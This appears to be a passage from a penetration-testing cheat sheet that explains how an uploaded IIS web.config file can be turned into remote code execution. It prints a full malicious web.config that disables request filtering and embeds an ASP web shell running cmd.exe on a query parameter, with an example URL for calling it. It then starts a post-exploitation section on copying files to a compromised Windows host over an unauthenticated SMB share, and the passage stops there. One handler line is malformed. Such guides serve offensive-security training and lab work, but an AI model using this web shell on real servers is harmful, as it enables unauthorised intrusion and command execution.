With a web.config file, you can control:

- Database connection strings.
- Error behavior.
- Security.

Refer [Upload a web.config File for Fun & Profit](#) and [RCE by uploading a web.config](#)

We can upload the below web.config

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Script, Write">
            <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
        </handlers>
        <security>
            <requestFiltering>
                <fileExtensions>
```

```
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
    <remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%
set cmd = Request.QueryString("cmd")
Set os = Server.CreateObject("WSCRIPT.SHELL")
output = os.exec("cmd.exe /c " + cmd).stdout.readall
response.write output
%>
```

The above expects a parameter cmd which is executed using wscript.shell and can be executed like

```
http://IP/uploads/web.config?cmd=whoami
```

## Appendix-III Transferring Files from Linux to Windows (post-exploitation)

There would times, where we have a Windows Shell (Command Prompt) and need to copy over some files to the Windows OS. Most of the stuff has been completely taken from [Transferring Files from Linux to Windows \(post-exploitation\)](#) Here are the few methods

### SMB

We need to setup a SMB Server on the Debian/ Kali machine

#### SMB Server - Attacker

We can utilize Impacket smbserver to create a SMB Server without authentication, so that anyone can access the share and download the files.